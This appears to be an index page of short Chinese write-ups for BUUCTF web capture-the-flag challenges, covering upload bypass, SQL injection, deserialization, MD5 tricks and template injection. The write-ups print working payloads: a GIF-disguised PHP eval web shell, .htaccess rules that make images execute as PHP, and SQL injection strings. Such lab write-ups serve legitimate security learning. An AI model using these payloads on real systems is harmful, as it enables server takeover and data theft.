BUUCTF-Web-[SUCTF 2019]CheckIn1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,是文件上传漏洞题,上传测试文件看看文件限制,php,phtml等php文件格式都被过滤,Burp抓包修改Content-Type字段也不行,猜测为文件头检测过滤,上传图片木马试试,文件开头添加GIF89jpg文件头绕过, 12GIF89<script language="php">@eval($_POST['cmd']); </script> 上传成功,接下来需要木马文件(TEST.jpg)被当做php文件解析执行,上传目录配置文件.htaccess,也需要加上GIF89或GIF89ajpg文件头, 1234GIF89<IfModule mime_module>AddType application/x-httpd-php .jpg</IfModule> 上传成功,但是访问文件TEST.jpg并没有被php解析执行,可能.htaccess被过滤了还有另一个目录配置文件.user.ini.user.ini 是 P...
BUUCTF-Web-[GXYCTF2019]BabyUpload
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,看到文件上传入口,推测该题为文件上传漏洞,上传测试文件看看有什么上传文件限制,提示不能带有ph的后缀名,传入图片木马试试, 12GIF89<script language="php">@eval($_POST['cmd']); </script> 这次上传成功了,接下来需要做的是让上传的图片木马以php形式解析,因为含ph的后缀名文件被过滤了,不能通过修改文件后缀名phtml来达到目的,所以我们选择修改配置文件.htaccess将文件解析为php,.htaccess内容: 123<IfModule mime_module>AddType application/x-httpd-php .jpg</IfModule> 使存在该文件的目录下的.jpg文件以php文件来解析,文件被过滤,Burp抓包试试修改Content-Type字段,成功上传,使用蚁剑连接,查找根目录,获得flag
BUUCTF-Web-[网鼎杯 2020 青龙组]AreUSerialz
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,直接将源码给我们了,进行代码审计, 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { //定义三个保护属性:$op,$filename,$content protected $op; protected $filename; protected $content; //魔术方法__construct():对三个保护属性赋值,调用process()方法 function __construct() { //魔术方法__...
BUUCTF-Web-[极客大挑战 2019]HardSQL
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,又是熟悉的登录界面,但是这次他提示hardsql,看来上强度了,还是先试试是什么类型的注入漏洞, 11' 有回显,是字符型注入漏洞,试试爆字段数, 11' order by 3# 被过滤了,多次尝试注入发现过滤了*,空格,+,=等符号,可以试试报错注入, updatexml函数UPDATEXML 是SQL中的一种XML处理函数,主要用于修改XML文档中的特定节点内容。它在多种数据库系统中都有实现,包括Oracle、MySQL等。 基本语法12345UPDATEXML(xml_target, xpath_expr, new_value)xml_target: 要修改的原始 XML 文档xpath_expr: XPath 表达式,用于定位要修改的节点new_value: 替换的新值(可以是 XML 片段或简单值) 注入原理UPDATEXML函数在解析XPath表达式时,如果表达式格式错误或路径不存在,会返回错误信息例子: 123451' or updatexml(1,co...
BUUCTF-Web-[MRCTF2020]Ez_bypass
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,要进行代码审计 12345678910111213141516171819202122232425262728293031323334353637include 'flag.php';$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg']) && isset($_GET['id'])) { $id = $_GET['id']; $gg = $_GET['gg']; // 检查 $id 和 $gg 的 MD5 散列值是否相等,并且它们的值不相等,强比较 if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first s...
BUUCCTF-Web-[ZJCTF 2019]NiZhuanSiWei1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一段源码,需要进行代码审计了, 12345678910111213141516171819<?php $text = $_GET["text"]; //从GET请求中分别获取三个参数:text,file,password$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//检查file_get_contents($text,'r')是否返回字符串"welcome to the zjctf" echo "<br><h1>".file_get_contents($text,...
BUUCTF-Web-[护网杯 2018]easy_tornado
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现三个文件分别点开,发现三个提示,1.flag在/fllllllllllllag文件里2.题目与render函数有关3.根据URL访问文件的格式,推测访问/fllllllllllllag文件是的filehash=md5(cookie_secret+md5(/fllllllllllllag))我们需要找到cookie_secret尝试去掉filehash访问, 1/file?filename=/fllllllllllllag 返回报错页面,回想起提示render函数和tornado,尝试传入{{2*2}}推测存在SSTI模板注入漏洞 render函数render是Tornado框架中的一个核心方法,用于将动态数据渲染到HTML模板中。它通过传递参数生成不同的网页内容, 1self.render('template.html', variable=value) 会将variable的值嵌入到templ...
BUUCTF-Web-[MRCTF2020]你传你🐎呢
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一个文件上传入口,结合题目,需要传一个木马上去,传一个测试文件上去,发现被过滤,文件类型限制吗?大部分文件上传漏洞可以传入图片文件,上传图片木马, 12GIF89<script language="php">@eval($_POST['cmd']); </script> 发现上传成功,现在需要将该png文件以php文件形式执行老办法,burp抓包修改后缀名为TEST.html,发现不行,其他php文件后缀名也被过滤了 .Htaccess绕过什么是.htaccess文件htaccess文件全称是超文本入口,提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户...
BUUCTF-Web-[BJDCTF2020]Easy MD5
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 MD5md5()是PHP中用于计算字符串MD5哈希值的函数。MD5是一种广泛使用的加密哈希函数,可生成128位(16字节)的哈希值,通常表示为32个十六进制数字。 1234567string md5 ( string $str , bool $raw_output = false )/*$str:要计算MD5哈希值的输入字符串$raw_output:可选参数,默认为false如果设置为true,则返回原始16字节二进制格式如果设置为false(默认),则返回32字符十六进制数/* 不可逆: 无法从哈希值反向计算出原始数据。易碰撞: 不同输入可能产生相同 MD5 值。 打开靶机,发现一个查询入口,随便输入点东西看看发现是GET传参password但是没有任何回显,试试特殊符号输入,查看源码也没有获得什么有用的信息,也没有任何回显,用burp抓包看看有没有其他信息,查看请求头发现hint字段,在ctf中hint通常代表提示, 1hint:select * from 'admin'...
BUUCTF-Web-[极客大挑战 2019]BuyFlag1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,观察到一个菜单栏目,查看源码也能发现有两个php文件点击菜单选项中PAYFLAG访问pay.php从页面获得提示:1.flag需要你100000000money(可能要传入money的相关参数)2.你必须是来自CUIT的学生3.你需要提交正确的password查看源码看看有没有其他提示,得到信息:1.用POST传参方式传入money和password2.传入的password参数不能是数字(is_numeric函数:检测是不是数字)3.password弱比较404password=404abc绕过弱比较抓包看看详细信息,注意到Cookie,推测判断学生身份通过user判断(0是false,1是正确),进行改包发现弹出新提示Nember lenth is too longmoney参数部分太长使用科学计数法进行绕过获得flag
